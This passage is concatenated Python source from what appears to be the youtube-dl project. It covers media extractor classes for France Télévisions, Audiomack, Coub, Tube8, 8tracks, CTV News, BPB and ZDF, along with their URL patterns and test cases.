        subtitle = info.get('sous_titre')
        if subtitle:
            title += ' - %s' % subtitle
        title = title.strip()

        subtitles = {}
        subtitles_list = [{
            'url': subformat['url'],
            'ext': subformat.get('format'),
        } for subformat in info.get('subtitles', []) if subformat.get('url')]
        if subtitles_list:
            subtitles['fr'] = subtitles_list

        return {
            'id': video_id,
            'title': title,
            'description': clean_html(info['synopsis']),
            'thumbnail': compat_urlparse.urljoin('http://pluzz.francetv.fr', info['image']),
            'duration': int_or_none(info.get('real_duration')) or parse_duration(info['duree']),
            'timestamp': int_or_none(info['diffusion']['timestamp']),
            'formats': formats,
            'subtitles': subtitles,
        }


class PluzzIE(FranceTVBaseInfoExtractor):
    IE_NAME = 'pluzz.francetv.fr'
    _VALID_URL = r'https?://(?:m\.)?pluzz\.francetv\.fr/videos/(?P<id>.+?)\.html'

    # Can't use tests, videos expire in 7 days

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_id = self._html_search_meta(
            'id_video', webpage, 'video id', default=None)
        if not video_id:
            video_id = self._search_regex(
                r'data-diffusion=["\'](\d+)', webpage, 'video id')

        return self._extract_video(video_id, 'Pluzz')


class FranceTvInfoIE(FranceTVBaseInfoExtractor):
    IE_NAME = 'francetvinfo.fr'
    _VALID_URL = r'https?://(?:www|mobile|france3-regions)\.francetvinfo\.fr/(?:[^/]+/)*(?P<title>[^/?#&.]+)'

    _TESTS = [{
        'url': 'http://www.francetvinfo.fr/replay-jt/france-3/soir-3/jt-grand-soir-3-lundi-26-aout-2013_393427.html',
        'info_dict': {
            'id': '84981923',
            'ext': 'mp4',
            'title': 'Soir 3',
            'upload_date': '20130826',
            'timestamp': 1377548400,
            'subtitles': {
                'fr': 'mincount:2',
            },
        },
        'params': {
            # m3u8 downloads
            'skip_download': True,
        },
    }, {
        'url': 'http://www.francetvinfo.fr/elections/europeennes/direct-europeennes-regardez-le-debat-entre-les-candidats-a-la-presidence-de-la-commission_600639.html',
        'info_dict': {
            'id': 'EV_20019',
            'ext': 'mp4',
            'title': 'Débat des candidats à la Commission européenne',
            'description': 'Débat des candidats à la Commission européenne',
        },
        'params': {
            'skip_download': 'HLS (reqires ffmpeg)'
        },
        'skip': 'Ce direct est terminé et sera disponible en rattrapage dans quelques minutes.',
    }, {
        'url': 'http://www.francetvinfo.fr/economie/entreprises/les-entreprises-familiales-le-secret-de-la-reussite_933271.html',
        'md5': 'f485bda6e185e7d15dbc69b72bae993e',
        'info_dict': {
            'id': 'NI_173343',
            'ext': 'mp4',
            'title': 'Les entreprises familiales : le secret de la réussite',
            'thumbnail': 're:^https?://.*\.jpe?g$',
            'timestamp': 1433273139,
            'upload_date': '20150602',
        },
        'params': {
            # m3u8 downloads
            'skip_download': True,
        },
    }, {
        'url': 'http://france3-regions.francetvinfo.fr/bretagne/cotes-d-armor/thalassa-echappee-breizh-ce-venredi-dans-les-cotes-d-armor-954961.html',
        'md5': 'f485bda6e185e7d15dbc69b72bae993e',
        'info_dict': {
            'id': 'NI_657393',
            'ext': 'mp4',
            'title': 'Olivier Monthus, réalisateur de "Bretagne, le choix de l’Armor"',
            'description': 'md5:a3264114c9d29aeca11ced113c37b16c',
            'thumbnail': 're:^https?://.*\.jpe?g$',
            'timestamp': 1458300695,
            'upload_date': '20160318',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # Dailymotion embed
        'url': 'http://www.francetvinfo.fr/politique/notre-dame-des-landes/video-sur-france-inter-cecile-duflot-denonce-le-regard-meprisant-de-patrick-cohen_1520091.html',
        'md5': 'ee7f1828f25a648addc90cb2687b1f12',
        'info_dict': {
            'id': 'x4iiko0',
            'ext': 'mp4',
            'title': 'NDDL, référendum, Brexit : Cécile Duflot répond à Patrick Cohen',
            'description': 'Au lendemain de la victoire du "oui" au référendum sur l\'aéroport de Notre-Dame-des-Landes, l\'ancienne ministre écologiste est l\'invitée de Patrick Cohen. Plus d\'info : https://www.franceinter.fr/emissions/le-7-9/le-7-9-27-juin-2016',
            'timestamp': 1467011958,
            'upload_date': '20160627',
            'uploader': 'France Inter',
            'uploader_id': 'x2q2ez',
        },
        'add_ie': ['Dailymotion'],
    }, {
        'url': 'http://france3-regions.francetvinfo.fr/limousin/emissions/jt-1213-limousin',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        page_title = mobj.group('title')
        webpage = self._download_webpage(url, page_title)

        dmcloud_url = DailymotionCloudIE._extract_dmcloud_url(webpage)
        if dmcloud_url:
            return self.url_result(dmcloud_url, DailymotionCloudIE.ie_key())

        dailymotion_urls = DailymotionIE._extract_urls(webpage)
        if dailymotion_urls:
            return self.playlist_result([
                self.url_result(dailymotion_url, DailymotionIE.ie_key())
                for dailymotion_url in dailymotion_urls])

        video_id, catalogue = self._search_regex(
            (r'id-video=([^@]+@[^"]+)',
             r'<a[^>]+href="(?:https?:)?//videos\.francetv\.fr/video/([^@]+@[^"]+)"'),
            webpage, 'video id').split('@')
        return self._extract_video(video_id, catalogue)


class FranceTVIE(FranceTVBaseInfoExtractor):
    IE_NAME = 'francetv'
    IE_DESC = 'France 2, 3, 4, 5 and Ô'
    _VALID_URL = r'''(?x)
                    https?://
                        (?:
                            (?:www\.)?france[2345o]\.fr/
                                (?:
                                    emissions/[^/]+/(?:videos|diffusions)|
                                    emission/[^/]+|
                                    videos|
                                    jt
                                )
                            /|
                            embed\.francetv\.fr/\?ue=
                        )
                        (?P<id>[^/?]+)
                    '''

    _TESTS = [
        # france2
        {
            'url': 'http://www.france2.fr/emissions/13h15-le-samedi-le-dimanche/videos/75540104',
            'md5': 'c03fc87cb85429ffd55df32b9fc05523',
            'info_dict': {
                'id': '109169362',
                'ext': 'flv',
                'title': '13h15, le dimanche...',
                'description': 'md5:9a0932bb465f22d377a449be9d1a0ff7',
                'upload_date': '20140914',
                'timestamp': 1410693600,
            },
        },
        # france3
        {
            'url': 'http://www.france3.fr/emissions/pieces-a-conviction/diffusions/13-11-2013_145575',
            'md5': '679bb8f8921f8623bd658fa2f8364da0',
            'info_dict': {
                'id': '000702326_CAPP_PicesconvictionExtrait313022013_120220131722_Au',
                'ext': 'mp4',
                'title': 'Le scandale du prix des médicaments',
                'description': 'md5:1384089fbee2f04fc6c9de025ee2e9ce',
                'upload_date': '20131113',
                'timestamp': 1384380000,
            },
        },
        # france4
        {
            'url': 'http://www.france4.fr/emissions/hero-corp/videos/rhozet_herocorp_bonus_1_20131106_1923_06112013172108_F4',
            'md5': 'a182bf8d2c43d88d46ec48fbdd260c1c',
            'info_dict': {
                'id': 'rhozet_herocorp_bonus_1_20131106_1923_06112013172108_F4',
                'ext': 'mp4',
                'title': 'Hero Corp Making of - Extrait 1',
                'description': 'md5:c87d54871b1790679aec1197e73d650a',
                'upload_date': '20131106',
                'timestamp': 1383766500,
            },
        },
        # france5
        {
            'url': 'http://www.france5.fr/emissions/c-a-dire/videos/quels_sont_les_enjeux_de_cette_rentree_politique__31-08-2015_908948?onglet=tous&page=1',
            'md5': 'f6c577df3806e26471b3d21631241fd0',
            'info_dict': {
                'id': '123327454',
                'ext': 'flv',
                'title': 'C à dire ?! - Quels sont les enjeux de cette rentrée politique ?',
                'description': 'md5:4a0d5cb5dce89d353522a84462bae5a4',
                'upload_date': '20150831',
                'timestamp': 1441035120,
            },
        },
        # franceo
        {
            'url': 'http://www.franceo.fr/jt/info-soir/18-07-2015',
            'md5': '47d5816d3b24351cdce512ad7ab31da8',
            'info_dict': {
                'id': '125377621',
                'ext': 'flv',
                'title': 'Infô soir',
                'description': 'md5:01b8c6915a3d93d8bbbd692651714309',
                'upload_date': '20150718',
                'timestamp': 1437241200,
                'duration': 414,
            },
        },
        {
            # francetv embed
            'url': 'http://embed.francetv.fr/?ue=8d7d3da1e3047c42ade5a5d7dfd3fc87',
            'info_dict': {
                'id': 'EV_30231',
                'ext': 'flv',
                'title': 'Alcaline, le concert avec Calogero',
                'description': 'md5:61f08036dcc8f47e9cfc33aed08ffaff',
                'upload_date': '20150226',
                'timestamp': 1424989860,
                'duration': 5400,
            },
        },
        {
            'url': 'http://www.france4.fr/emission/highlander/diffusion-du-17-07-2015-04h05',
            'only_matching': True,
        },
        {
            'url': 'http://www.franceo.fr/videos/125377617',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        video_id, catalogue = self._html_search_regex(
            r'(?:href=|player\.setVideo\(\s*)"http://videos?\.francetv\.fr/video/([^@]+@[^"]+)"',
            webpage, 'video ID').split('@')
        return self._extract_video(video_id, catalogue)


class GenerationQuoiIE(InfoExtractor):
    IE_NAME = 'france2.fr:generation-quoi'
    _VALID_URL = r'https?://generation-quoi\.france2\.fr/portrait/(?P<id>[^/?#]+)'

    _TEST = {
        'url': 'http://generation-quoi.france2.fr/portrait/garde-a-vous',
        'info_dict': {
            'id': 'k7FJX8VBcvvLmX4wA5Q',
            'ext': 'mp4',
            'title': 'Génération Quoi - Garde à Vous',
            'uploader': 'Génération Quoi',
        },
        'params': {
            # It uses Dailymotion
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)
        info_url = compat_urlparse.urljoin(url, '/medias/video/%s.json' % display_id)
        info_json = self._download_webpage(info_url, display_id)
        info = json.loads(info_json)
        return self.url_result('http://www.dailymotion.com/video/%s' % info['id'],
                               ie='Dailymotion')


class CultureboxIE(FranceTVBaseInfoExtractor):
    IE_NAME = 'culturebox.francetvinfo.fr'
    _VALID_URL = r'https?://(?:m\.)?culturebox\.francetvinfo\.fr/(?P<name>.*?)(\?|$)'

    _TEST = {
        'url': 'http://culturebox.francetvinfo.fr/live/musique/musique-classique/le-livre-vermeil-de-montserrat-a-la-cathedrale-delne-214511',
        'md5': '9b88dc156781c4dbebd4c3e066e0b1d6',
        'info_dict': {
            'id': 'EV_50111',
            'ext': 'flv',
            'title': "Le Livre Vermeil de Montserrat à la Cathédrale d'Elne",
            'description': 'md5:f8a4ad202e8fe533e2c493cc12e739d9',
            'upload_date': '20150320',
            'timestamp': 1426892400,
            'duration': 2760.9,
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        name = mobj.group('name')

        webpage = self._download_webpage(url, name)

        if ">Ce live n'est plus disponible en replay<" in webpage:
            raise ExtractorError('Video %s is not available' % name, expected=True)

        video_id, catalogue = self._search_regex(
            r'"http://videos\.francetv\.fr/video/([^@]+@[^"]+)"', webpage, 'video id').split('@')

        return self._extract_video(video_id, catalogue)






# coding: utf-8
from __future__ import unicode_literals

import itertools
import time

from .common import InfoExtractor
from .soundcloud import SoundcloudIE
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    url_basename,
)


class AudiomackIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?audiomack\.com/song/(?P<id>[\w/-]+)'
    IE_NAME = 'audiomack'
    _TESTS = [
        # hosted on audiomack
        {
            'url': 'http://www.audiomack.com/song/roosh-williams/extraordinary',
            'info_dict':
            {
                'id': '310086',
                'ext': 'mp3',
                'uploader': 'Roosh Williams',
                'title': 'Extraordinary'
            }
        },
        # audiomack wrapper around soundcloud song
        {
            'add_ie': ['Soundcloud'],
            'url': 'http://www.audiomack.com/song/hip-hop-daily/black-mamba-freestyle',
            'info_dict': {
                'id': '258901379',
                'ext': 'mp3',
                'description': 'mamba day freestyle for the legend Kobe Bryant ',
                'title': 'Black Mamba Freestyle [Prod. By Danny Wolf]',
                'uploader': 'ILOVEMAKONNEN',
                'upload_date': '20160414',
            }
        },
    ]

    def _real_extract(self, url):
        # URLs end with [uploader name]/[uploader title]
        # this title is whatever the user types in, and is rarely
        # the proper song title.  Real metadata is in the api response
        album_url_tag = self._match_id(url)

        # Request the extended version of the api for extra fields like artist and title
        api_response = self._download_json(
            'http://www.audiomack.com/api/music/url/song/%s?extended=1&_=%d' % (
                album_url_tag, time.time()),
            album_url_tag)

        # API is inconsistent with errors
        if 'url' not in api_response or not api_response['url'] or 'error' in api_response:
            raise ExtractorError('Invalid url %s' % url)

        # Audiomack wraps a lot of soundcloud tracks in their branded wrapper
        # if so, pass the work off to the soundcloud extractor
        if SoundcloudIE.suitable(api_response['url']):
            return {'_type': 'url', 'url': api_response['url'], 'ie_key': 'Soundcloud'}

        return {
            'id': api_response.get('id', album_url_tag),
            'uploader': api_response.get('artist'),
            'title': api_response.get('title'),
            'url': api_response['url'],
        }


class AudiomackAlbumIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?audiomack\.com/album/(?P<id>[\w/-]+)'
    IE_NAME = 'audiomack:album'
    _TESTS = [
        # Standard album playlist
        {
            'url': 'http://www.audiomack.com/album/flytunezcom/tha-tour-part-2-mixtape',
            'playlist_count': 15,
            'info_dict':
            {
                'id': '812251',
                'title': 'Tha Tour: Part 2 (Official Mixtape)'
            }
        },
        # Album playlist ripped from fakeshoredrive with no metadata
        {
            'url': 'http://www.audiomack.com/album/fakeshoredrive/ppp-pistol-p-project',
            'info_dict': {
                'title': 'PPP (Pistol P Project)',
                'id': '837572',
            },
            'playlist': [{
                'info_dict': {
                    'title': 'PPP (Pistol P Project) - 9. Heaven or Hell (CHIMACA) ft Zuse (prod by DJ FU)',
                    'id': '837577',
                    'ext': 'mp3',
                    'uploader': 'Lil Herb a.k.a. G Herbo',
                }
            }],
            'params': {
                'playliststart': 9,
                'playlistend': 9,
            }
        }
    ]

    def _real_extract(self, url):
        # URLs end with [uploader name]/[uploader title]
        # this title is whatever the user types in, and is rarely
        # the proper song title.  Real metadata is in the api response
        album_url_tag = self._match_id(url)
        result = {'_type': 'playlist', 'entries': []}
        # There is no one endpoint for album metadata - instead it is included/repeated in each song's metadata
        # Therefore we don't know how many songs the album has and must infi-loop until failure
        for track_no in itertools.count():
            # Get song's metadata
            api_response = self._download_json(
                'http://www.audiomack.com/api/music/url/album/%s/%d?extended=1&_=%d'
                % (album_url_tag, track_no, time.time()), album_url_tag,
                note='Querying song information (%d)' % (track_no + 1))

            # Total failure, only occurs when url is totally wrong
            # Won't happen in middle of valid playlist (next case)
            if 'url' not in api_response or 'error' in api_response:
                raise ExtractorError('Invalid url for track %d of album url %s' % (track_no, url))
            # URL is good but song id doesn't exist - usually means end of playlist
            elif not api_response['url']:
                break
            else:
                # Pull out the album metadata and add to result (if it exists)
                for resultkey, apikey in [('id', 'album_id'), ('title', 'album_title')]:
                    if apikey in api_response and resultkey not in result:
                        result[resultkey] = api_response[apikey]
                song_id = url_basename(api_response['url']).rpartition('.')[0]
                result['entries'].append({
                    'id': compat_str(api_response.get('id', song_id)),
                    'uploader': api_response.get('artist'),
                    'title': api_response.get('title', song_id),
                    'url': api_response['url'],
                })
        return result






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    float_or_none,
    int_or_none,
    parse_iso8601,
    qualities,
)


class CoubIE(InfoExtractor):
    _VALID_URL = r'(?:coub:|https?://(?:coub\.com/(?:view|embed|coubs)/|c-cdn\.coub\.com/fb-player\.swf\?.*\bcoub(?:ID|id)=))(?P<id>[\da-z]+)'

    _TESTS = [{
        'url': 'http://coub.com/view/5u5n1',
        'info_dict': {
            'id': '5u5n1',
            'ext': 'mp4',
            'title': 'The Matrix Moonwalk',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 4.6,
            'timestamp': 1428527772,
            'upload_date': '20150408',
            'uploader': 'Артём Лоскутников',
            'uploader_id': 'artyom.loskutnikov',
            'view_count': int,
            'like_count': int,
            'repost_count': int,
            'comment_count': int,
            'age_limit': 0,
        },
    }, {
        'url': 'http://c-cdn.coub.com/fb-player.swf?bot_type=vk&coubID=7w5a4',
        'only_matching': True,
    }, {
        'url': 'coub:5u5n1',
        'only_matching': True,
    }, {
        # longer video id
        'url': 'http://coub.com/view/237d5l5h',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        coub = self._download_json(
            'http://coub.com/api/v2/coubs/%s.json' % video_id, video_id)

        if coub.get('error'):
            raise ExtractorError(
                '%s said: %s' % (self.IE_NAME, coub['error']), expected=True)

        title = coub['title']

        file_versions = coub['file_versions']

        QUALITIES = ('low', 'med', 'high')

        MOBILE = 'mobile'
        IPHONE = 'iphone'
        HTML5 = 'html5'

        SOURCE_PREFERENCE = (MOBILE, IPHONE, HTML5)

        quality_key = qualities(QUALITIES)
        preference_key = qualities(SOURCE_PREFERENCE)

        formats = []

        for kind, items in file_versions.get(HTML5, {}).items():
            if kind not in ('video', 'audio'):
                continue
            if not isinstance(items, dict):
                continue
            for quality, item in items.items():
                if not isinstance(item, dict):
                    continue
                item_url = item.get('url')
                if not item_url:
                    continue
                formats.append({
                    'url': item_url,
                    'format_id': '%s-%s-%s' % (HTML5, kind, quality),
                    'filesize': int_or_none(item.get('size')),
                    'vcodec': 'none' if kind == 'audio' else None,
                    'quality': quality_key(quality),
                    'preference': preference_key(HTML5),
                })

        iphone_url = file_versions.get(IPHONE, {}).get('url')
        if iphone_url:
            formats.append({
                'url': iphone_url,
                'format_id': IPHONE,
                'preference': preference_key(IPHONE),
            })

        mobile_url = file_versions.get(MOBILE, {}).get('audio_url')
        if mobile_url:
            formats.append({
                'url': mobile_url,
                'format_id': '%s-audio' % MOBILE,
                'preference': preference_key(MOBILE),
            })

        self._sort_formats(formats)

        thumbnail = coub.get('picture')
        duration = float_or_none(coub.get('duration'))
        timestamp = parse_iso8601(coub.get('published_at') or coub.get('created_at'))
        uploader = coub.get('channel', {}).get('title')
        uploader_id = coub.get('channel', {}).get('permalink')

        view_count = int_or_none(coub.get('views_count') or coub.get('views_increase_count'))
        like_count = int_or_none(coub.get('likes_count'))
        repost_count = int_or_none(coub.get('recoubs_count'))
        comment_count = int_or_none(coub.get('comments_count'))

        age_restricted = coub.get('age_restricted', coub.get('age_restricted_by_admin'))
        if age_restricted is not None:
            age_limit = 18 if age_restricted is True else 0
        else:
            age_limit = None

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'timestamp': timestamp,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'view_count': view_count,
            'like_count': like_count,
            'repost_count': repost_count,
            'comment_count': comment_count,
            'age_limit': age_limit,
            'formats': formats,
        }






from __future__ import unicode_literals

from ..utils import (
    int_or_none,
    str_to_int,
)
from .keezmovies import KeezMoviesIE


class Tube8IE(KeezMoviesIE):
    _VALID_URL = r'https?://(?:www\.)?tube8\.com/(?:[^/]+/)+(?P<display_id>[^/]+)/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.tube8.com/teen/kasia-music-video/229795/',
        'md5': '65e20c48e6abff62ed0c3965fff13a39',
        'info_dict': {
            'id': '229795',
            'display_id': 'kasia-music-video',
            'ext': 'mp4',
            'description': 'hot teen Kasia grinding',
            'uploader': 'unknown',
            'title': 'Kasia music video',
            'age_limit': 18,
            'duration': 230,
        }
    }, {
        'url': 'http://www.tube8.com/shemale/teen/blonde-cd-gets-kidnapped-by-two-blacks-and-punished-for-being-a-slutty-girl/19569151/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        webpage, info = self._extract_info(url)

        if not info['title']:
            info['title'] = self._html_search_regex(
                r'videoTitle\s*=\s*"([^"]+)', webpage, 'title')

        description = self._html_search_regex(
            r'>Description:</strong>\s*(.+?)\s*<', webpage, 'description', fatal=False)
        uploader = self._html_search_regex(
            r'<span class="username">\s*(.+?)\s*<',
            webpage, 'uploader', fatal=False)

        like_count = int_or_none(self._search_regex(
            r'rupVar\s*=\s*"(\d+)"', webpage, 'like count', fatal=False))
        dislike_count = int_or_none(self._search_regex(
            r'rdownVar\s*=\s*"(\d+)"', webpage, 'dislike count', fatal=False))
        view_count = str_to_int(self._search_regex(
            r'<strong>Views: </strong>([\d,\.]+)\s*</li>',
            webpage, 'view count', fatal=False))
        comment_count = str_to_int(self._search_regex(
            r'<span id="allCommentsCount">(\d+)</span>',
            webpage, 'comment count', fatal=False))

        info.update({
            'description': description,
            'uploader': uploader,
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'comment_count': comment_count,
        })

        return info






# coding: utf-8
from __future__ import unicode_literals

import json
import random

from .common import InfoExtractor
from ..compat import (
    compat_str,
)
from ..utils import (
    ExtractorError,
)


class EightTracksIE(InfoExtractor):
    IE_NAME = '8tracks'
    _VALID_URL = r'https?://8tracks\.com/(?P<user>[^/]+)/(?P<id>[^/#]+)(?:#.*)?$'
    _TEST = {
        'name': 'EightTracks',
        'url': 'http://8tracks.com/ytdl/youtube-dl-test-tracks-a',
        'info_dict': {
            'id': '1336550',
            'display_id': 'youtube-dl-test-tracks-a',
            'description': "test chars:  \"'/\\ä↭",
            'title': "youtube-dl test tracks \"'/\\ä↭<>",
        },
        'playlist': [
            {
                'md5': '96ce57f24389fc8734ce47f4c1abcc55',
                'info_dict': {
                    'id': '11885610',
                    'ext': 'm4a',
                    'title': "youtue-dl project<>\"' - youtube-dl test track 1 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            },
            {
                'md5': '4ab26f05c1f7291ea460a3920be8021f',
                'info_dict': {
                    'id': '11885608',
                    'ext': 'm4a',
                    'title': "youtube-dl project - youtube-dl test track 2 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            },
            {
                'md5': 'd30b5b5f74217410f4689605c35d1fd7',
                'info_dict': {
                    'id': '11885679',
                    'ext': 'm4a',
                    'title': "youtube-dl project as well - youtube-dl test track 3 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            },
            {
                'md5': '4eb0a669317cd725f6bbd336a29f923a',
                'info_dict': {
                    'id': '11885680',
                    'ext': 'm4a',
                    'title': "youtube-dl project as well - youtube-dl test track 4 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            },
            {
                'md5': '1893e872e263a2705558d1d319ad19e8',
                'info_dict': {
                    'id': '11885682',
                    'ext': 'm4a',
                    'title': "PH - youtube-dl test track 5 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            },
            {
                'md5': 'b673c46f47a216ab1741ae8836af5899',
                'info_dict': {
                    'id': '11885683',
                    'ext': 'm4a',
                    'title': "PH - youtube-dl test track 6 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            },
            {
                'md5': '1d74534e95df54986da7f5abf7d842b7',
                'info_dict': {
                    'id': '11885684',
                    'ext': 'm4a',
                    'title': "phihag - youtube-dl test track 7 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            },
            {
                'md5': 'f081f47af8f6ae782ed131d38b9cd1c0',
                'info_dict': {
                    'id': '11885685',
                    'ext': 'm4a',
                    'title': "phihag - youtube-dl test track 8 \"'/\\\u00e4\u21ad",
                    'uploader_id': 'ytdl'
                }
            }
        ]
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        data = self._parse_json(
            self._search_regex(
                r"(?s)PAGE\.mix\s*=\s*({.+?});\n", webpage, 'trax information'),
            playlist_id)

        session = str(random.randint(0, 1000000000))
        mix_id = data['id']
        track_count = data['tracks_count']
        duration = data['duration']
        avg_song_duration = float(duration) / track_count
        # duration is sometimes negative, use predefined avg duration
        if avg_song_duration <= 0:
            avg_song_duration = 300
        first_url = 'http://8tracks.com/sets/%s/play?player=sm&mix_id=%s&format=jsonh' % (session, mix_id)
        next_url = first_url
        entries = []

        for i in range(track_count):
            api_json = None
            download_tries = 0

            while api_json is None:
                try:
                    api_json = self._download_webpage(
                        next_url, playlist_id,
                        note='Downloading song information %d/%d' % (i + 1, track_count),
                        errnote='Failed to download song information')
                except ExtractorError:
                    if download_tries > 3:
                        raise
                    else:
                        download_tries += 1
                        self._sleep(avg_song_duration, playlist_id)

            api_data = json.loads(api_json)
            track_data = api_data['set']['track']
            info = {
                'id': compat_str(track_data['id']),
                'url': track_data['track_file_stream_url'],
                'title': track_data['performer'] + ' - ' + track_data['name'],
                'raw_title': track_data['name'],
                'uploader_id': data['user']['login'],
                'ext': 'm4a',
            }
            entries.append(info)

            next_url = 'http://8tracks.com/sets/%s/next?player=sm&mix_id=%s&format=jsonh&track_id=%s' % (
                session, mix_id, track_data['id'])
        return {
            '_type': 'playlist',
            'entries': entries,
            'id': compat_str(mix_id),
            'display_id': playlist_id,
            'title': data.get('name'),
            'description': data.get('description'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import orderedSet


class CTVNewsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ctvnews\.ca/(?:video\?(?:clip|playlist|bin)Id=|.*?)(?P<id>[0-9.]+)'
    _TESTS = [{
        'url': 'http://www.ctvnews.ca/video?clipId=901995',
        'md5': '10deb320dc0ccb8d01d34d12fc2ea672',
        'info_dict': {
            'id': '901995',
            'ext': 'mp4',
            'title': 'Extended: \'That person cannot be me\' Johnson says',
            'description': 'md5:958dd3b4f5bbbf0ed4d045c790d89285',
            'timestamp': 1467286284,
            'upload_date': '20160630',
        }
    }, {
        'url': 'http://www.ctvnews.ca/video?playlistId=1.2966224',
        'info_dict':
        {
            'id': '1.2966224',
        },
        'playlist_mincount': 19,
    }, {
        'url': 'http://www.ctvnews.ca/video?binId=1.2876780',
        'info_dict':
        {
            'id': '1.2876780',
        },
        'playlist_mincount': 100,
    }, {
        'url': 'http://www.ctvnews.ca/1.810401',
        'only_matching': True,
    }, {
        'url': 'http://www.ctvnews.ca/canadiens-send-p-k-subban-to-nashville-in-blockbuster-trade-1.2967231',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        page_id = self._match_id(url)

        def ninecninemedia_url_result(clip_id):
            return {
                '_type': 'url_transparent',
                'id': clip_id,
                'url': '9c9media:ctvnews_web:%s' % clip_id,
                'ie_key': 'NineCNineMedia',
            }

        if page_id.isdigit():
            return ninecninemedia_url_result(page_id)
        else:
            webpage = self._download_webpage('http://www.ctvnews.ca/%s' % page_id, page_id, query={
                'ot': 'example.AjaxPageLayout.ot',
                'maxItemsPerPage': 1000000,
            })
            entries = [ninecninemedia_url_result(clip_id) for clip_id in orderedSet(
                re.findall(r'clip\.id\s*=\s*(\d+);', webpage))]
            return self.playlist_result(entries, page_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    js_to_json,
    determine_ext,
)


class BpbIE(InfoExtractor):
    IE_DESC = 'Bundeszentrale für politische Bildung'
    _VALID_URL = r'https?://www\.bpb\.de/mediathek/(?P<id>[0-9]+)/'

    _TEST = {
        'url': 'http://www.bpb.de/mediathek/297/joachim-gauck-zu-1989-und-die-erinnerung-an-die-ddr',
        # md5 fails in Python 2.6 due to buggy server response and wrong handling of urllib2
        'md5': 'c4f84c8a8044ca9ff68bb8441d300b3f',
        'info_dict': {
            'id': '297',
            'ext': 'mp4',
            'title': 'Joachim Gauck zu 1989 und die Erinnerung an die DDR',
            'description': 'Joachim Gauck, erster Beauftragter für die Stasi-Unterlagen, spricht auf dem Geschichtsforum über die friedliche Revolution 1989 und eine "gewisse Traurigkeit" im Umgang mit der DDR-Vergangenheit.'
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<h2 class="white">(.*?)</h2>', webpage, 'title')
        video_info_dicts = re.findall(
            r"({\s*src:\s*'http://film\.bpb\.de/[^}]+})", webpage)

        formats = []
        for video_info in video_info_dicts:
            video_info = self._parse_json(video_info, video_id, transform_source=js_to_json)
            quality = video_info['quality']
            video_url = video_info['src']
            formats.append({
                'url': video_url,
                'preference': 10 if quality == 'high' else 0,
                'format_note': quality,
                'format_id': '%s-%s' % (quality, determine_ext(video_url)),
            })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'description': self._og_search_description(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import functools
import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
    OnDemandPagedList,
    xpath_text,
    determine_ext,
    qualities,
    float_or_none,
    ExtractorError,
)


class ZDFIE(InfoExtractor):
    _VALID_URL = r'(?:zdf:|zdf:video:|https?://www\.zdf\.de/ZDFmediathek(?:#)?/(.*beitrag/(?:video/)?))(?P<id>[0-9]+)(?:/[^/?]+)?(?:\?.*)?'

    _TESTS = [{
        'url': 'http://www.zdf.de/ZDFmediathek/beitrag/video/2037704/ZDFspezial---Ende-des-Machtpokers--?bc=sts;stt',
        'info_dict': {
            'id': '2037704',
            'ext': 'webm',
            'title': 'ZDFspezial - Ende des Machtpokers',
            'description': 'Union und SPD haben sich auf einen Koalitionsvertrag geeinigt. Aber was bedeutet das für die Bürger? Sehen Sie hierzu das ZDFspezial "Ende des Machtpokers - Große Koalition für Deutschland".',
            'duration': 1022,
            'uploader': 'spezial',
            'uploader_id': '225948',
            'upload_date': '20131127',
        },
        'skip': 'Videos on ZDF.de are depublicised in short order',
    }]

    def _parse_smil_formats(self, smil, smil_url, video_id, namespace=None, f4m_params=None, transform_rtmp_url=None):
        param_groups = {}
        for param_group in smil.findall(self._xpath_ns('./head/paramGroup', namespace)):
            group_id = param_group.attrib.get(self._xpath_ns('id', 'http://www.w3.org/XML/1998/namespace'))
            params = {}
            for param in param_group:
                params[param.get('name')] = param.get('value')
            param_groups[group_id] = params

        formats = []
        for video in smil.findall(self._xpath_ns('.//video', namespace)):
            src = video.get('src')
            if not src:
                continue
            bitrate = float_or_none(video.get('system-bitrate') or video.get('systemBitrate'), 1000)
            group_id = video.get('paramGroup')
            param_group = param_groups[group_id]
            for proto in param_group['protocols'].split(','):
                formats.append({
